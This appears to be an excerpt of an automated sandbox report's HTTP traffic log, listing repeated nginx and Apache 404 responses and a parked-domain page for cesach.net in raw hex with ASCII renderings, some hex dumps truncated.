Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 30 Oct 2024 07:12:17 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 30 Oct 2024 07:12:20 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 30 Oct 2024 07:12:22 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:12:30 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:12:32 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:12:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:12:37 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:12:57 GMTServer: ApacheX-ServerIndex: llim604Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:13:00 GMTServer: ApacheX-ServerIndex: llim603Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:13:02 GMTServer: ApacheX-ServerIndex: llim604Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Oct 2024 07:13:05 GMTServer: ApacheX-ServerIndex: llim605Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 